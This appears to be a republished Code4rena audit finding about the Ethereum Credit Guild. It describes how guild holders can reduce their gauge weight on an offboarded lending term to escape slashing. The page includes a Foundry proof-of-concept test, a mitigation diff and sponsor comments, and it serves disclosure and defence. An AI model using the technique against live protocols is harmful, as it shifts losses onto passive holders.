The gauge status wasn’t checked before reducing the user’s gauge weight.
The gauge status was not checked before reducing a user's gauge weight, allowing guild holders to decrement their weight on an offboarded term and avoid being slashed for potential losses, transferring the loss to other passive holders and credit token holders.
0xpiken Follow with Byteblockers
Originally disclosed on Code4rena
Submitted by 0xpiken, also found by Byteblockers
Guild holders might have the opportunity to protect themselves from being slashed by reducing their weight on an offboarded gauge; thereby, transferring the loss to other passive holders and all credit token holders.
Proof of Concept
The mechanism utilized by the ECG protocol to address loan losses is as follows:
- In the event of any loss to the lending term triggered by
ProfitManager#notifyPnL(), all staked guild tokens on this term will be entirely slashed throughGuildToken#notifyGaugeLoss(), regardless of the magnitude of the loss, as soon as it occurs. termSurplusBuffer[gauge]will be depleted and donate tosurplusBuffer.losswill decreased fromsurplusBufferfirst.- Should the
surplusBufferbe lower than theloss, the remaining loss will be deducted from each credit token by reducing thecreditMultiplier.
A term can be offboarded if it is unsafe. Once offboarded, the redemption function of corresponding SimplePSM will be paused:
161: // pause psm redemptions
162: if (
163: nOffboardingsInProgress++ == 0 &&
164: !SimplePSM(psm).redemptionsPaused()
165: ) {
167: SimplePSM(psm).setRedemptionsPaused(true);
168: }
No credit token holders can redeem credit tokens for peg tokens at the moment. The redemption function could be unpaused by calling LendingTermOffboarding#cleanup() once all loans on term are closed:
190: // unpause psm redemptions
191: if (
192: --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
193: ) {
194: SimplePSM(psm).setRedemptionsPaused(false);
195: }
From above we can see, the loss may or may not happen to the offboarded term, but once it happen, the loss will be marked down to all credit token holders. No one can exit in advance and pass potential loss to others.
However, guild holders could have chance to reduce their weight on the offboarded term, transferring the potential loss to other passive holders and all credit token holders.
Copy below codes to LendingTermOffboarding.t.sol and run forge test --match-test testOffboardTermAndDecrementGauge:
function testOffboardTermAndDecrementGauge() public {
//@audit-info term2 is deployed
LendingTerm term2 = LendingTerm(Clones.clone(address(new LendingTerm())));
term2.initialize(
address(core),
LendingTerm.LendingTermReferences({
profitManager: address(profitManager),
guildToken: address(guild),
auctionHouse: address(auctionHouse),
creditMinter: address(rlcm),
creditToken: address(credit)
}),
LendingTerm.LendingTermParams({
collateralToken: address(collateral),
maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
interestRate: _INTEREST_RATE,
maxDelayBetweenPartialRepay: 0,
minPartialRepayPercent: 0,
openingFee: 0,
hardCap: _HARDCAP
})
);
vm.startPrank(governor);
core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term2));
core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term2));
vm.stopPrank();
//@audit-info active term2, which has the same gauge type with term1
guild.addGauge(1, address(term2));
//@audit-info mint 2e18 guild token to carol
guild.mint(carol, 2e18);
vm.startPrank(carol);
guild.incrementGauge(address(term), 1e18);
guild.incrementGauge(address(term2), 1e18);
vm.stopPrank();
// prepare (1)
guild.mint(bob, _QUORUM);
vm.startPrank(bob);
guild.delegate(bob);
uint256 snapshotBlock = block.number;
//@audit-info bob propose to offboard term
offboarder.proposeOffboard(address(term));
vm.roll(block.number + 1);
vm.warp(block.timestamp + 13);
//@audit-info term is able to be offboarded with enough votes.
offboarder.supportOffboard(snapshotBlock, address(term));
assertEq(offboarder.polls(snapshotBlock, address(term)), _QUORUM + 1);
assertEq(offboarder.canOffboard(address(term)), true);
assertEq(guild.isGauge(address(term)), true);
assertEq(psm.redemptionsPaused(), false);
assertEq(offboarder.nOffboardingsInProgress(), 0);
offboarder.offboard(address(term));
//@audit-info term is offboarded
assertEq(guild.isGauge(address(term)), false);
//@audit-info the redemption function is paused, no one can redeem their credit token
assertEq(psm.redemptionsPaused(), true);
assertEq(offboarder.nOffboardingsInProgress(), 1);
vm.stopPrank();
assertEq(guild.getUserGaugeWeight(carol, address(term)), 1e18);
vm.prank(carol);
//@audit-info however, carol can decrement their gauge weight on term
guild.decrementGauge(address(term), 1e18);
assertEq(guild.getUserGaugeWeight(carol, address(term)), 0);
}
Recommended Mitigation Steps
Check if all loans have been closed in GuildToken#_decrementGaugeWeight():
function _decrementGaugeWeight(
address user,
address gauge,
uint256 weight
) internal override {
uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
require(
_lastGaugeLossApplied >= _lastGaugeLoss,
"GuildToken: pending loss"
);
+ uint256 issuance = LendingTerm(gauge).issuance();
+ if (isDeprecatedGauge(gauge)) {
+ require(issuance == 0, "GuildToken: not all loans closed");
+ }
// update the user profit index and claim rewards
ProfitManager(profitManager).claimGaugeRewards(user, gauge);
// check if gauge is currently using its allocated debt ceiling.
// To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
- uint256 issuance = LendingTerm(gauge).issuance();
if (issuance != 0) {
uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
require(
issuance <= debtCeilingAfterDecrement,
"GuildToken: debt ceiling used"
);
}
super._decrementGaugeWeight(user, gauge, weight);
}
Assessed type
Context
eswak (Ethereum Credit Guild) commented:
In the provided PoC, the term that is offboarded does not have any active loans, so it cannot create bad debt during liquidation. The mechanism that prevents GUILD holders from decrementing weight and front-running the loss is in the GuildToken, where current term issuance is checked. Issuance is decreased only after the auctions conclude, so after bad debt or profit is realized, and that is what prevents GUILD gauge allocators to avoid slashing.
Some GUILD holders could still decrement weight during the auction, but not to the extent that it would make the debt ceiling below issuance. I’ll let my colleague @OneTrueKirk weigh in on whether we should prevent all gauge weight decrements during liquidations, or if the current implementation is fine, but as described I don’t think this is a medium issue, more like an Analysis.
OneTrueKirk (Ethereum Credit Guild) commented:
I think it’s a good idea to prevent gauge weight deprecation once a lending term has been offboarded. Especially since in the case of the surplus GUILD minter, there is exogenous surplus buffer capital which should help to protect passive lenders, but might escape at this time. Therefore, I think that the severity of Medium is appropriate @eswak.
eswak (Ethereum Credit Guild) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the decrementGauge function does not check whether the gauge is offboarded and whether all loans are closed before allowing weight reduction.
Impact
Guild holders could avoid slashing by reducing their weight on an offboarded term, potentially transferring losses to other passive holders and credit token holders; however, the protocol team noted that the debt ceiling check limits the extent of this and that the offboarded term in the PoC had no active loans.
What the attacker needed
Guild tokens staked on a term; term is offboarded; user has gauge weight on the term
How it was found
- Deploy a second lending term with the same gauge type as the first.
- Mint guild tokens to a user and have them increment their gauge weight on both terms.
- Propose and support offboarding of the first term with enough votes.
- Offboard the term, which pauses PSM redemptions.
- Have the user decrement their gauge weight on the offboarded term, which succeeds.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this system, people stake tokens on lending terms to back them. If a term fails, those staked tokens are supposed to be taken away (slashed) to cover losses. The bug let people take back their staked tokens after a term was shut down but before losses were finalised, so they avoided the penalty and others had to pay.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.